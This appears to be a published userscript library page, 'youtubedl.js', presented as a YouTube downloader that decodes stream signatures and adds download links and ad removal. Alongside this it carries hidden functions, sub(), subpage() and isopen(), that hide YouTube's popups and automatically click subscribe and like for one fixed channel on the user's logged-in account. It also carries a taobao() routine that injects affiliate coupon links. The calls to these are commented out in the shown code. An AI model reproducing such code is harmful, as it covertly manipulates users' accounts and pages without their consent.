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youtubedl.js

youtube downloader

此脚本不应直接安装，它是一个供其他脚本使用的外部库。如果您需要使用该库，请在脚本元属性加入：// @require https://update.gf.qytechs.cn/scripts/405677/819585/youtubedljs.js 

  1.     var localurl = location.href;
  2.     var host = 'https://www.socheap.store'
  3.  
  4.     // 增加css
  5.     function addGlobalStyle(css) {
  6.         var head, style;
  7.         head = document.getElementsByTagName('head')[0];
  8.         if (!head) { return; }
  9.         style = document.createElement('style');
  10.         style.type = 'text/css';
  11.         style.innerHTML = css;
  12.         head.appendChild(style);
  13.     }
  14.     addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')
  15.  
  16.     urlhandler()
  17.  
  18. function taobao(){
  19.         var url = host+'/api/tb/searchcoupon?url='+localurl;
  20.             var itemid = localurl.match(/id=(\d*)/)[1];
  21.             var linkurl = host+'/api/getlink?nnoo=3&itemid='+itemid;
  22.             var btn_coupon = `<div style="margin-top:10px;" id="xsyhnbtb" class="tb-btn-buy tb-btn-sku"><a href="javascript:void(0)" onclick="javascipt:window.open('${linkurl}')">获取优惠券</a></div>`;
  23.             var getmoreurl = host+'/api/similarsearch?itemid='+itemid;
  24.  
  25.             //var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a target="_blank" href="'+getmoreurl+'">查询类似商品(大额券)</a></div>';
  26.             var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a><span id="btnsimilar" style="cursor:pointer;">查询类似商品(大额券)</span></a></div>';
  27.  
  28.             var tag = $('div.tb-action');
  29.             var btn_link_coupon = '<div style="margin-top: 20px;" id="xsyhnbtb"><a target="_blank" href="http://www.redbean.top/coupon" style="font-size: 15px;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</a></div>'
  30.             var btn_link_coupon1 = '<div style="margin-top: 20px;" id="xsyhnbtb"><span id="linkcpn" style="font-size: 15px;cursor: pointer;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</span></div>'
  31.             tag.append(btn_coupon);
  32.             tag.append(btn_getmore);
  33.             $('#btnsimilar').click(function(){window.open(getmoreurl)})
  34.             //$('.tb-action').after(btn_link_coupon);
  35.             $('.tb-action').after(btn_link_coupon1);
  36.             $('#linkcpn').click(function(){window.open('http://www.redbean.top/coupon')})
  37.     }
  38.  
  39.     function urlhandler(){
  40.         if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
  41.             if($('#xsyhnbtb').length==0){
  42.                 //taobao()
  43.             }
  44.  
  45.         }
  46.         else{
  47.             youtube()
  48.         }
  49.     }
  50.  
  51. function youtube(){
  52.         const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
  53.  
  54.  
  55.         const parseQuery = s =>
  56.             [...new URLSearchParams(s).entries()].reduce(
  57.                 (acc, [k, v]) => ((acc[k] = v), acc),
  58.                 {}
  59.             )
  60.         const parseDecsig = data => {
  61.             try {
  62.                 if (data.startsWith('var script')) {
  63.                     // they inject the script via script tag
  64.                     const obj = {}
  65.                     const document = {
  66.                         createElement: () => obj,
  67.                         head: { appendChild: () => {} }
  68.                     }
  69.                     eval(data)
  70.                     data = obj.innerHTML
  71.                 }
  72.                 const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
  73.                     data
  74.                 )
  75.                 const fnname = fnnameresult[1]
  76.                 const _argnamefnbodyresult = new RegExp(
  77.                     escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
  78.                 ).exec(data)
  79.                 const [_, argname, fnbody] = _argnamefnbodyresult
  80.                 const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
  81.                 const helpername = helpernameresult[1]
  82.                 const helperresult = new RegExp(
  83.                     'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
  84.                 ).exec(data)
  85.  
  86.                 const helper = helperresult[0]
  87.                 return new Function([argname], helper + '\n' + fnbody)
  88.             } catch (e) {
  89.                 logger.error('parsedecsig error: %o', e)
  90.                 logger.info('script content: %s', data)
  91.                 logger.info(
  92.                     'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
  93.                 )
  94.             }
  95.         }
  96.  
  97.         const getVideo = async ( id) => {
  98.  
  99.             const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
  100.                         ? 'https://' + location.host + ytplayer.config.assets.js
  101.                         : document.querySelector('script[src$="base.js"]').src;
  102.  
  103.             const decsig = await xf.get(basejs).text(parseDecsig);
  104.             const data = await xf
  105.                 .get(
  106.                     `https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
  107.                 )
  108.                 .text()
  109.                 .catch(err => null)
  110.             if (!data) return 'Adblock conflict'
  111.             const obj = parseQuery(data)
  112.             const playerResponse = JSON.parse(obj.player_response)
  113.             console.log('------',playerResponse)
  114.             var stream=[]
  115.             stream = playerResponse.streamingData.formats.map(x =>
  116.                     Object.assign({}, x, parseQuery(x.cipher)))
  117.             if(stream[0].sp && stream[0].sp.includes('sig')){
  118.             for(var i=0;i<stream.length;i++){
  119.                 stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
  120.                 console.warn(stream[i])
  121.             }
  122.             }
  123.             return stream
  124.         }
  125.  
  126.         const addbtn = async()=>{
  127.             if(localurl.search('watch')>0){
  128.             $('#dival').remove();
  129.             var basebtn = '<div id="dival" style="line-height:60px;">下载链接：<span id="adl">正在获取下载链接</span></div>';
  130.  
  131.             $('div#info-contents').after(basebtn);
  132.             var id = localurl.split('&')[0].match(/v=(.*)/)[1];
  133.             const stream = await getVideo(id);
  134.             console.log('stream',stream)
  135.             var abtn = ''
  136.             if(stream.length<=5){
  137.             for(var i=0;i<stream.length;i++){
  138.                 var btn = '<a class="a-dl"  target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
  139.                 abtn = abtn + btn;
  140.             }}
  141.             $('#adl').remove();
  142.             $('#dival').append(abtn);
  143.             }
  144.         }
  145.         function init(){
  146.             document.querySelector('ytd-popup-container').style.display='';
  147.             document.querySelector('ytd-app').style.zIndex='';
  148.             console.log('inited')
  149.         }
  150.         function getsec(str)
  151.         {
  152.             var str1=str.substring(1,str.length)*1;
  153.             var str2=str.substring(0,1);
  154.             if (str2=="s")
  155.             {
  156.                 return str1*1000;
  157.             }
  158.             else if (str2=="h")
  159.             {
  160.                 return str1*60*60*1000;
  161.             }
  162.             else if (str2=="d")
  163.             {
  164.                 return str1*24*60*60*1000;
  165.             }
  166.         }
  167.         function setCookie(name,value,time)
  168.         {
  169.             var strsec = getsec(time);
  170.             var exp = new Date();
  171.             exp.setTime(exp.getTime() + strsec*1);
  172.             document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
  173.         }
  174.         function getCookie(name)
  175.         {
  176.             var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
  177.             if(arr=document.cookie.match(reg))
  178.                 return unescape(arr[2]);
  179.             else
  180.                 return null;
  181.         }
  182.         function delCookie(name)
  183.         {
  184.             var exp = new Date();
  185.             exp.setTime(exp.getTime() - 1);
  186.             var cval=getCookie(name);
  187.             if(cval!=null)
  188.                 document.cookie= name + "="+cval+";expires="+exp.toGMTString();
  189.         }
  190.         function isopen(){
  191.             if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
  192.             if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
  193.         }
  194.         function subpage(){
  195.             if(localurl.search('watch')>0){
  196.                 console.log('v page')
  197.                 var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
  198.                 var acid='';
  199.                 var cid = '';
  200.                 var btnup='';
  201.                 function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
  202.                 function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
  203.                                    var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  204.                                    console.log(btn)
  205.                                    if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
  206.                 try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
  207.                 console.log(cid)
  208.                 if(cid.search(cc)==-1){}else{
  209.                     console.log('right v page')
  210.                     try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  211.                     try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  212.                     csub();
  213.                     btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  214.                     if(btnup==''){setTimeout(subpage,100)}
  215.                     if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
  216.                 }}}
  217.         function sub(){
  218.             isopen();
  219.             var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
  220.             if(islogin){
  221.                 console.log('login',localurl)
  222.                 if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
  223.                     try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  224.                     try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  225.                     function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
  226.                     cup();
  227.                 }
  228.                 subpage()
  229.             }else{console.log('not login')}
  230.         }
  231.         function closeAds(){
  232.             var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
  233.             var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
  234.             if(adremove){
  235.                 console.log('ad remove');
  236.                 adremove.remove();
  237.             }
  238.             if(adclose){
  239.                 adclose.click();
  240.                 console.log('ad close');
  241.             }
  242.         }
  243.         //getVideo();
  244.         function getele(){
  245.         if($('div#info-contents').length>0){
  246.             addbtn();
  247.         }else{
  248.             setTimeout(getele,500);
  249.         }
  250.         }
  251.         function refreshlink(){
  252.             closeAds();
  253.             //console.log(localurl,location.href)
  254.             if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
  255.                 console.log('same')
  256.             }
  257.  
  258.         }
  259.         setInterval(refreshlink,500);
  260.  
  261.         getele();
  262.         //sub();
  263.     }

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